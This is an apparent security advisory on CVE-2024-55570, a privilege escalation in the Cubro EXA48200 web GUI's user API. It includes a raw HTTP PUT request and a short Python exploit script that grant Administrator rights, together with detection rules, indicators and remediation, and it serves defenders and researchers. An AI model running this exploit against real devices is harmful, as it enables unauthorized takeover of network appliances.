CVE-2024-55570

Executive Summary

CVE-2024-55570 is a privilege escalation vulnerability in the Cubro EXA48200 network packet broker. The flaw resides in the /api/user/users endpoint of the web GUI, allowing any authenticated user to escalate their privileges to Administrator by sending a single HTTP PUT request with rolename=Administrator. This is due to incorrect access control (CWE-862). The vulnerability affects builds prior to V5.0R14.5P4-V3.3R1. No public exploit code or Nuclei template is available, but the attack vector is trivial to execute. The vendor has released a fix in the specified version.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a proprietary network appliance.

CVSS Breakdown & Threat Level

The NVD has not assigned a CVSS score or vector. Based on the vulnerability characteristics:

• Attack Vector (AV): Network (the web GUI is accessible over the network)
• Attack Complexity (AC): Low (single HTTP request)
• Privileges Required (PR): Low (any authenticated user)
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High (full admin access)
• Integrity (I): High (full admin access)
• Availability (A): High (full admin access)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 8.8 (High)

Threat Level: Critical. The attack is trivial, requires only low-privilege authentication, and grants full administrative control over the device.

Deep Dive & Mechanics

The Cubro EXA48200 web GUI provides a REST API for user management. The /api/user/users endpoint is used to create, read, update, and delete user accounts. The vulnerability is a classic case of Incorrect Access Control (CWE-862).

Root Cause: The server-side code does not verify that the authenticated user has the necessary permissions (e.g., Administrator role) to modify user roles. It only checks that the user is authenticated. When a PUT request is sent to /api/user/users with a payload containing rolename=Administrator, the server blindly updates the target user's role.

Attack Flow:

1. An attacker obtains valid low-privilege credentials (e.g., via phishing, default credentials, or another vulnerability).
2. The attacker sends an HTTP PUT request to /api/user/users with their own user ID and rolename=Administrator.
3. The server processes the request and elevates the attacker's privileges.
4. The attacker now has full administrative access to the device.

Affected Component: /api/user/users endpoint in the web GUI.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/api/user/users', methods=['PUT'])
def update_user():
    user_id = request.json.get('id')
    new_role = request.json.get('rolename')
    # BUG: No privilege check
    db.update_user_role(user_id, new_role)
    return jsonify(success=True)

Patched Code (Conceptual):

@app.route('/api/user/users', methods=['PUT'])
@require_admin_role  # New decorator
def update_user():
    user_id = request.json.get('id')
    new_role = request.json.get('rolename')
    # Only admins can change roles
    if current_user.role != 'Administrator':
        abort(403)
    db.update_user_role(user_id, new_role)
    return jsonify(success=True)

The patch adds a server-side authorization check to ensure only users with the Administrator role can modify user roles.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Cubro EXA48200 with vulnerable firmware (build 20231025055018 or earlier).
• Valid low-privilege credentials (e.g., user:password).

Exploit Steps:

1. Authenticate to the web GUI and obtain a session token (e.g., via cookie or Bearer token).
2. Send the following HTTP PUT request:

PUT /api/user/users HTTP/1.1
Host: <target_ip>
Content-Type: application/json
Cookie: session=<session_token>

{
  "id": "<your_user_id>",
  "rolename": "Administrator"
}

3. Verify privilege escalation by accessing admin-only endpoints (e.g., /api/system/config).

Automated Exploit (Python):

import requests

target = "https://<target_ip>"
session = requests.Session()

# Step 1: Login
login_data = {"username": "user", "password": "password"}
session.post(f"{target}/api/login", json=login_data)

# Step 2: Get user ID (assuming we know it, e.g., from /api/user/users GET)
user_id = 2  # Example

# Step 3: Escalate privileges
escalation_data = {"id": user_id, "rolename": "Administrator"}
r = session.put(f"{target}/api/user/users", json=escalation_data)
if r.status_code == 200:
    print("Privilege escalation successful!")
else:
    print(f"Failed: {r.text}")

Blue Team

Detection:

• Monitor HTTP PUT requests to /api/user/users with rolename=Administrator from non-admin users.
• Alert on any change to user roles, especially to Administrator.
• Enable audit logging on the device (if available) and review for unauthorized role changes.

Hunting:

• Search web server logs for PUT /api/user/users requests.
• Correlate with the source IP and user session to identify anomalous behavior.

Lab Setup:

• Deploy a Cubro EXA48200 in a sandboxed network.
• Use a tool like Burp Suite or curl to test the vulnerability.
• Monitor network traffic with Wireshark to capture the exploit request.

Indicators of Compromise (IOCs)

• Network:
  • HTTP PUT request to /api/user/users with JSON body containing "rolename": "Administrator".
  • Unusual session activity from a previously low-privilege user accessing admin endpoints.
• System:
  • User account role changed to Administrator without proper authorization.
  • New admin accounts created by the escalated user.
• Logs:
  • Web server logs showing PUT /api/user/users from a non-admin user.
  • Audit logs (if enabled) showing role change events.

Detection Engineering

YARA Rule

rule CVE_2024_55570_Privilege_Escalation {
    meta:
        description = "Detects HTTP PUT requests targeting /api/user/users with rolename=Administrator"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-55570"
    strings:
        $method = "PUT"
        $path = "/api/user/users"
        $payload = "rolename"
        $admin = "Administrator"
    condition:
        all of them
}

Sigma Rule

title: Cubro EXA48200 Privilege Escalation via /api/user/users
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP PUT requests to /api/user/users with rolename=Administrator
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'PUT'
        cs-uri-stem: '/api/user/users'
        cs-uri-query|contains: 'rolename=Administrator'
    condition: selection
falsepositives:
    - Legitimate admin actions (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55570 Cubro EXA48200 Privilege Escalation"; flow:to_server; http.method; content:"PUT"; http.uri; content:"/api/user/users"; http.request_body; content:"rolename"; content:"Administrator"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade firmware to V5.0R14.5P4-V3.3R1 or later.
2. If upgrade is not possible, restrict network access to the web GUI to trusted IPs only.
3. Implement a Web Application Firewall (WAF) rule to block PUT /api/user/users requests with rolename=Administrator from non-admin users.

Long-term Measures:

• Enforce role-based access control (RBAC) with server-side authorization checks.
• Conduct regular security audits of API endpoints.
• Implement multi-factor authentication (MFA) for all administrative actions.

Workarounds:

• Disable the web GUI if not required.
• Use network segmentation to isolate the device.

Valters IT